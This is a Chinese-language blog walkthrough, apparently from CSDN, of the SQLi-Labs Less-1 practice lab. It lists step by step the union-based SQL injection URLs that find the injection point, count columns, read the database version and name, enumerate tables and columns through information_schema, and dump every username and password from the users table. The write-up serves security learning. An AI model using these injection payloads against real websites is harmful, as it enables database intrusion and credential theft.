【SQLi-Labs刷题记录】 Less1第一关思路

/*
作者刚刚接触sql注入,本文仅用作记录刷sqli-labs靶场时的思路,仅代表个人的看法,如有不当之处,欢迎各位大佬及时批评指正!
*/

Less-1 GET-Error based-Single quotes-String

第一步,根据提示输入id参数
构造url:…/?id=1
在这里插入图片描述
显示正常,可以看见一组帐号和密码,不同的id可以看见不同的帐号和密码
第二步,尝试进行注入,在上一步url的基础上加入and 1=2,观察网站返回结果
构造url:…/?id=1 and 1=2
在这里插入图片描述

显示正常,表明and查询并没有被带入到查询语句中
第三步,不死心,继续尝试哈哈哈,在id=1后面加入’,观察网站返回结果,猜测查询语句的构造方式
构造url:…/?id=1’
在这里插入图片描述
网站报错,根据报错的提示信息可以大概猜测查询语句中本来就有单引号将传入的字符包围起来,因此再加入一个单引号会导致查询语句的报错。对此我们再添加一个单引号进行验证。
构造url:…/?id=1’'
显示正常,表明我们的猜测基本正确,但是根据之前的报错信息我们不难发现在查询语句的最后还有一段limit 0,1,这主要是限制了显示内容的行数,为了后续注入的方便,我们选择将其连带原语句中的右侧单引号一起注释掉。常用的注释符号为–
PS:两段横线后面是有一个空格的,如果不加则不代表注释的意思。另外,部分浏览器(google等)会在url编码的时候将最后的空格过滤,此时可以直接加后缀%20

至此,我们基本发现了网站的注入点,紧接着我们可以开始尝试对网站进行注入。

第四步,我们先探测一下目前正在使用的表中有多少字段,以及显示的是哪些字段。
构造url:…/?id=1’ order by 1 --%20
在这里插入图片描述
order by是排序语句,可以根据指定的字段名或者字段顺序进行排序,当我们order by 4时,网站报错,因此当前数据表中只存在三个字段
紧接着我们使用联合查询语句union探测网站显示的是哪几个字段。
构造url:…/?id=1’ and 1=2 union select 1,2,3 --%20
在这里插入图片描述
根据网站显示结果我们可以知道,网站显示的分别是第二,三两个字段。其中union是联合查询语句,而根据mysql的显示规则,联合查询先显示union前面的查询结果,因此为了显示我们需要的结果我们在前面的条件中加入了and 1=2使其不成立。当然方法不唯一,还可以通过limit语句指定显示特定行的结果等。
第五步,查询当前使用的数据库以及版本信息
构造url:…/?id=1’ and 1=2 union select 1,@@version,database() --%20
在这里插入图片描述

根据查询结果可以知道,当前使用的是一个叫security的数据库,版本是5.5.62-log
第六步,查看security数据库所包含的表,并且寻找有用的信息
构造url:…/?id=1’ and 1=2 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=‘security’ --%20
在这里插入图片描述
该url是用于查询information_schema数据库中tables表中数据库名为security的表的名称(information_schema数据库是mysql数据库特有的,主要包含了该账户中所有的数据信息,具体知识点可以自行上网查阅),根据网站显示结果我们可以发现,security数据库中一共包含了四张表,分别是emails,referers,uagents,users。
第七步,查看相应表中的字段名,寻找有用的信息(假设本关我们需要获取所有用户的登录名和密码信息,获取其他信息查询相应的表即可)
构造url:…/?id=1’ and 1=2 union select 1,group_concat(column_name),table_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --%20

该url主要是用于查询information_schema数据库中columns表中数据库名为security表名为users的字段名称,根据网站显示结果我们可以知道,users表主要包含了三个字段,分别是id,username和password。
第八步,直接获取相关信息
构造url:…/?id=1’ and 1=2 union select 1,group_concat(username),group_concat(password)%20 from security.users --%20
在这里插入图片描述
通过该url我们可以直接获取到所有的用户名和密码,本关至此基本结束。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值